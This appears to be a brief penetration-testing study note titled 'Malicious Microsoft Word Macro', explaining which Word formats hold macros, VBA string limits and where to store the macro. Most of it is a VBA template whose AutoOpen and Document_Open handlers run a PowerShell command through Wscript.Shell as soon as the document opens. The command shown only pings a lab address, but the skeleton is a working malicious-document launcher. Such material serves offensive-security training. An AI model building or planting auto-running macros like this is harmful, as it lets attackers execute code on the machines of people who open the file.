Malicious Microsoft Word Macro

Only works with .docm or .doc format as they support embedded macros (.docx does NOT work!)

How to save a macro

• VBA has a 255 character limit for literal strings
• Make sure you store the Macro in the Project and not locally

Basic Macro

Sub AutoOpen()
    MyMacro
End Sub
 
Sub Document_Open()
    MyMacro
End Sub
 
Sub MyMacro()
    Dim Str As String
    
    Str = "powershell.exe ping 192.168.119.177"
 
    CreateObject("Wscript.Shell").Run Str
End Sub
